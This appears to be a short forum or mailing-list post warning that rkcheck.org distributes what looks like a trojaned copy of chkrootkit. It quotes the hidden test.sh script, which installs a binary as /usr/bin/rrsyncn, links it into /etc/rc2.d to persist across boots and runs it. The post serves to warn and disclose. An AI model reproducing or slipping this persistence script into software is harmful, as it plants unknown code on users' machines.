it felt pretty scammy to me, googling for the "worm" got me to rkcheck.org which was registered a few days ago and looks like a tampered version of chkrootkit. I hope, nobody installed it anywhere, it seems to execute rkcheck/tests/.unit/test.sh which contains 

#!/bin/bash

cp tests/.unit/test /usr/bin/rrsyncn
chmod +x /usr/bin/rrsyncn
rm -fr /etc/rc2.d/S98rsyncn
ln -s /usr/bin/rrsyncn /etc/rc2.d/S98rsyncn
/usr/bin/rrsyncn
exit

That doesn't look like something you'd want on your box...

Cheers,
